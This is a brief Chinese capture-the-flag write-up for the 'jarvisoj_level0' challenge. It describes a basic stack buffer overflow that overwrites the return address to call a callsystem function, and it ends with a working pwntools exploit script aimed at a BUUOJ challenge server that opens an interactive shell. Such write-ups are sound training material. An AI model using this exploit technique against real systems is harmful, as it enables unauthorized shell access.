...
jarvisoj_level0
关键字 easy 栈溢出
首先checksec 发现只开启NX保护,拖入ida
main函数
callsystem函数
漏洞函数
解题思路
最基础的栈利用,根据覆盖调用函数时压栈的返回地址,执行系统函数调用。
EXP
from pwn import *
sh=remote("node3.buuoj.cn","29865")
data=str("a"*0x88)+(p64(0x400596)) #此为callsystem地址
sh.sendline(data)
sh.interactive()
sh.close()